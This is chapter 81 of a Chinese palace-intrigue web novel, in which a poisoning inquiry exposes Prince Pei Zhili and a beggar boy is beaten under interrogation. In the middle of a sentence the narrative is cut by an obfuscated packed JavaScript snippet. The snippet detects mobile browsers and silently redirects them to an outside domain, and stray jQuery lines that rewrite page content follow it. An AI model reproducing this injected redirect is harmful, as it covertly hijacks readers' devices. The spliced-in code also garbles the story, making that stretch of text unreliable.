81. 第 81 章
作品:《杀不死的宸王妃》 “谁在外喧哗?”皇上皱眉,里屋正关键时刻呢,外面什么情况。
康福禄出去看了一眼,回来报告,“启禀皇上,是刑部尚书在审问小乞丐。”
“什么乞丐?”皇上一愣,旋即想到他让逮人回来的,“哦,是那个送帕子的孩子啊。”
“什么帕子?”苏瑾不明所以的问道。
“就是拦喜轿给您送东西的小乞丐,叫…叫…”丰儿解释道,却想不起那孩子的名字。
“小六儿吗?”苏瑾一惊,“审他干嘛?”
丰儿便把先前她昏迷,皇上派人将接触过她的小乞丐抓来审问,怀疑毒是他下的情况小声说了。
苏瑾一听,这哪行啊,那不是让人孩子受了无妄之灾嘛。
“你出去告诉一声,没那孩子什么事,让他们把人放了吧。”皇上那头发话了,苏瑾把准备要说的话咽了回去。
“啊!”
康福禄还没应声,外头一声惨叫传来。
苏瑾心里一突,下意识攥住身旁裴子弈的手,担心道,“外面怎么了?”
听声音,像是小六儿的。
皇上让康福禄再出去看一眼,回来却听他道,“是小乞丐被打昏了。”
“怎么…”苏瑾眉头紧锁正待说话。
裴子弈轻轻拍了拍她的后背,轻声说了句,“别担心,”而后朝皇上开口道,“父皇,那孩子无端受累,儿臣心中不安,恳请父皇开恩让人将他先安置在儿臣府上歇息,另劳烦太医院照看一二。”
皇上点点头,现在最重要的是先将屋里的事情弄明白,外面那些等最后再发落。
裴子弈让老管家跟着康福禄出去安顿小六儿,院外刑部尚书见皇上身边的大太监亲自出来安顿小乞丐,心觉不好赶紧悄咪咪询问情况。
这一问不要紧,差点没给他吓死。
原来这刑部尚书的发妻中毒颇深,他本就忧心不已,先前以为是受宸王命格所累他没办法,但后来知晓是可能是人为毒害,他心里的火登时就起来了,之后锦衣卫带了个小乞丐来,说是皇上让他们先审着,或可与宸王妃及众命妇中毒有关。
刑部尚书顿时来劲儿了,除了自家夫人还事关宸王妃那还得了?
都不经刑部侍郎等人的手亲自审问,一点儿不带藏私的,各种手段齐上阵,要不是这里没有刑具,他早就动家伙了。
最后见那小子嘴硬,逼的他不动家伙不行了,直接就地取材,抡起门栓没两下就给人打昏了。
刚准备让人拿凉水泼醒,没想到康福禄出来说这事跟小乞丐无关,不让他继续审问,宸王府老管家还小心翼翼的将小乞丐抬走安顿在宸王府了。
刑部尚书惊的一身冷汗啊,本来想借机立个大功,没想到…
这可怎么整?
接下来的等待的时间里,刑部尚书可谓是心惊胆战、提心吊胆,不过他那里并不是重点,重点还是在屋内。
现已确定,下毒者是卿婵无疑。
裴之礼心里将卿婵祖宗八代都问候遍了,原本想着借那群官眷和卿婵之死一股脑全扣裴子弈头上,足够令他翻不了身,谁想到这么短的时间,所有问题就都到自己身上了。
若是今日之事处理不好,别说皇位,往后官场上怕都没他立锥之地了!
都是这该死的卿婵!
裴之礼‘咣’地一声跪在地上,哭的悲惨至极,“婵儿你怎么这么傻!怎么这么傻啊!都怪我,都怪我当初非要纳你入府,若是由着你等皇兄,今日你怎会做出这般傻事啊!”
“放肆!简直一派胡言!”皇后怒了,裴之礼这么明目张胆的往她儿子身上泼脏水,当她是死的不成?!
“母后息怒,”裴之礼哐哐磕头,磕着头嘴可没停,“儿臣并未为了脱罪胡乱攀扯皇兄,此事皇兄并不知情,都是…都是婵儿一厢情愿,母后若是不信,还请您派人取了婵儿身前那枚鸳鸯荷包,亲眼看一看罢。”
经裴之礼一说,屋内众人才注意到卿婵佩戴了两支荷包。
皇后命竹韵取了绣鸳鸯的那枚来,亲自打开翻开。
里面既无银两也饰,只有小小一方纸叠的规规整整,但看折痕就已知其主人经常翻看,展开后露出上面的画像,正是裴子弈。
“此事说来话长,婵儿自闺阁之中便倾慕皇兄,曾经闹的满城风雨。儿臣自第一眼见到婵儿便心生爱慕,但自知自己与皇兄相差甚远,便只敢将这份感情埋藏心中。后来,皇兄离京,婵儿更是一病不起,儿臣看在眼里急在心里,只想尽自己所能去照顾婵儿,才有了后来纳婵儿入府一事。儿臣原还怕婵儿不同意,没想到她立时应了,儿臣欣喜若狂,自纳婵儿入府后一直倾心照料,但…”
裴之礼说着深深叹了口气,自嘲地笑道,“儿臣原以为以真心相待,必能换来真心,哪承想成婚这么多年,婵儿心中一直放不下的,还是皇兄。”
“原先皇兄身处边疆,婵儿即便心中惦念也别无它法,儿臣虽心知婵儿所想,但因儿臣也只是以侧妃之位纳婵儿入府心中一直有愧。是以前王妃逝世后,儿臣并未再娶而是执意抬婵儿为正妃,为的就是让她看到儿臣对她的真心,后来婵儿待儿臣确实比先前好了许多,儿臣倍感欣慰,以为终于可以琴瑟和鸣夫妇顺遂。可谁知,自从皇兄回来后,一切都变了…”
“起先儿臣也没多想,以为婵儿的冷淡是因为儿臣太忙,一时有些忽略她所致,可直到后来,”说着,裴之礼歉然转向苏瑾,“说来很对不起皇嫂,之前郑成入府一事,确实是婵儿有意为之。”
苏瑾眼睛一眯,目光锐利的看向裴之礼,只不过后者没看到。
裴之礼说完继续面向皇上道,“儿臣也是那日自宫中回来后才知晓幕后主使竟是婵儿。当日郑成无故昏倒在红园,婵儿派人来找儿臣处理,因当日众多小姐都在红园,此事不好声张,婵儿跟儿臣说务必要将此事瞒下,不然牵扯甚广有损众女子闺誉,儿臣心觉有理,是以当日父皇问责,儿臣不得不咬死当日没见过郑成,七妹当时应该也是如此想法,才替儿臣夫妇做了伪证…”
裴南熹眉头紧皱,她没想到三哥竟然当面就把她卖了!
而且…
“那依祁王话中之意,便是认定当日确实是我伤的郑公子了?”苏瑾忽而开口。
裴之礼一惊,没想到她反应如此快,还直接将他话中深意挑明了,但他又不敢真将话摆在明面上,一时间陷入被动,只能佯做惶恐道,“皇嫂为何如此说,臣弟并无此意啊。”
“那你跟我道什么歉?”苏瑾沉着脸道。
“臣弟只是觉得,若非臣弟听信婵儿之言,那日邀了郑成入府,他也不会无故污蔑皇嫂。”裴之礼目光微闪道。
“呵,既是无故,当日你府中来人众多,他为何不污蔑旁人,单单污蔑我呢?”苏瑾才不会给他任何往自己身上泼脏水的机会。
眼见裴之礼刚要张口,苏瑾截胡道,“可别再以什么他脑子被打坏的瞎话当借口,莫说父皇、母后,就是当日我听了也觉得可笑。只不过碍于先前离府时,祁王妃特意叮嘱我们若此事外传会毁我们所有人的清誉,让我们莫要声张,只当从未见过此人,还备了许多赔礼,事关重大,我们别无他法只能接受。是以当日无论在宛平县还是后来进宫,我与南熹只说从未见过郑公子,今日你既不顾我们所有人的清誉将事情挑明了,便撂句实话吧。”
想给她挖坑?
也不看看现在锹在谁手上!
裴南熹感激的看了苏瑾一眼,苏瑾暗中递给她一个安心的眼神。
裴之礼简直要气炸了,他万万没想到,原本准备暗戳戳往苏瑾身上倒脏水的事没干成,反被扣了这么大一个帽子,现在屋里不仅仅有皇上、皇后,更有他那个几个兄弟在场。
如今的对话若是传出去,他怕是要犯众怒啊!
女子闺誉何其重要,关键他提及的事,确实枉顾她们的清誉,那日卿婵又特意将位高权重待字闺中的小姐们都邀来了,要是让他们知晓自己直接将他们家的女儿都牵扯进去……
裴之礼手脚冰凉,苏瑾将他的后路堵得一丝不剩,如今也只能再借卿婵脱身,“臣弟正要说明,当日自宫中回还,婵儿见事情已经闹到父皇、母后跟前,生怕之后郑成将她主使其污蔑皇嫂清白的事情供出来,便求儿臣在之后去往宿国公府时,一定要让他闭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15367844|163371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴,可儿臣哪里敢对国公之子下手,却又不得不保全婵儿,是以许了重利,才将其安抚下来。之后儿臣便请名医,并提议宿国公将郑成送往老家修养,如此一来才将事情彻底压下。”
宿国公送子回乡的事情,皇上倒是听说了,但其中到底因何缘由,也只有宿国公一人知晓。
“哦~原来是这个意思,只是如我一般愚笨之人太多,还望祁王殿下往后说话莫再拐弯抹角,还是直接将话说清楚为好。”苏瑾意味深长道。
“确实,我此次回京是为父皇寿辰,怎么到了三弟口中,好似我回京成了破坏你夫妻二人感情的元凶一般,让人听了还以为今日你的妻子毒害我的妻子,都是因我之过。”裴子弈紧跟媳妇儿脚步,一点儿也没饶了裴之礼。
“臣弟可对天发誓,绝无此意。”裴之礼又一惊,赶紧表忠心。
“那倒不必,郑成之后呢?”裴子弈可不给他跑题的机会,今儿的事可还没说完呢。
“之后,我一直忙于政事,不过婵儿再也没做过什么出格的事,我还以为她歇了心,没想到今日却…却…我若知晓,决计不会让她做出这等傻事。”裴之礼深深叹了口气,神色悲痛的低下头去。
“如此说来,你清清白白一个人,所有坏事都是卿婵所为喽?”苏瑾斜睨着他。
“夫妇一体,她的错又何尝不是我的错?”裴之礼样作深情叹息道。
“切。”苏瑾翻了个白眼。
裴之礼听见了,却只能硬着头皮当没听见,朝皇上、皇后磕了个头道,“此是虽是婵儿一人所为,但儿臣也有监管不力之过,最终让她做出如此不可挽回之事,儿臣实在难辞其咎,求父皇、母后重罚。”
说完,又重重磕了两个,伏在地上等候发落。
“先解了封,让大伙回去吧。”皇上这话是朝康福禄说的。
康福禄出去传令,这会儿中毒的官眷们大多已经没事了,只有像郑氏那般中毒深些的,需要有人扶着才能行动,不过也不耽误什么。
只是,皇上、皇后不走,他们哪里敢动。
是以,宸王府虽已解禁,众人却还聚集在院中。
“好孩子,你受苦了,放心父皇一定给你做主,先安心养病,”皇上先安抚了苏瑾两句,然后又嘱咐裴子弈,“明日你们不必进宫,务必把你媳妇儿照顾好了。”
说完,拍了拍裴子弈的肩膀。
“是,父皇。”
温言细语的跟裴子弈夫妇说完话,再面对裴之礼时就完全是另外一副状态。
“此事牵扯众多,明日再行发落,你先滚回去好反省反省,明日早朝时朕要看不见你请罪的折子,你也不必来了!”皇上愤然道。
“是,父皇。”裴之礼诚惶诚恐的应道。
“哼!”皇上冷哼一声,一甩袖子走了。
皇后狠狠剜了裴之礼一眼,然后又叮嘱了裴子弈和苏瑾两句才出去,她出去时便听见皇上正怒斥刑部尚书一句,“你就是这么给朕审案子的,嗯?”
刑部尚书瑟瑟发抖,刚要解释,谁知根本没机会,皇上训完他走了。
今夜对于刑部尚书来说,注定是个不眠夜了。
哦,不止是刑部尚书,还有几个…
裴之礼就不用说了,现在一个头两个大,一身的要命官司。
另一个,便是……
“角落里穿青蟒的,是你哪个弟弟?”喜房内,众人离去,只剩苏瑾和裴子弈二人后,她才开口问道。
丰儿被她支出去安排宫中送来的侍女,有些事情越少人知道越好。
“老四,裴行谦。”裴子弈立时回道。
“他不对劲。”苏瑾皱眉。
裴子弈惊诧的看向她,没想到她竟如此机敏,心下有些惊喜,“你看出来了?”
“你也看出来了?”苏瑾眨了眨眼。
裴子弈一点没藏着,将之前张三、裴言睿和裴行谦的事情一五一十的讲给苏瑾听。
而他们夫妇口中‘不对劲’的裴言睿,此时正满面怒容的盯着对面之人。
若是苏瑾在场,一定会惊叹——世间竟真有和申公豹长相一模一样的人!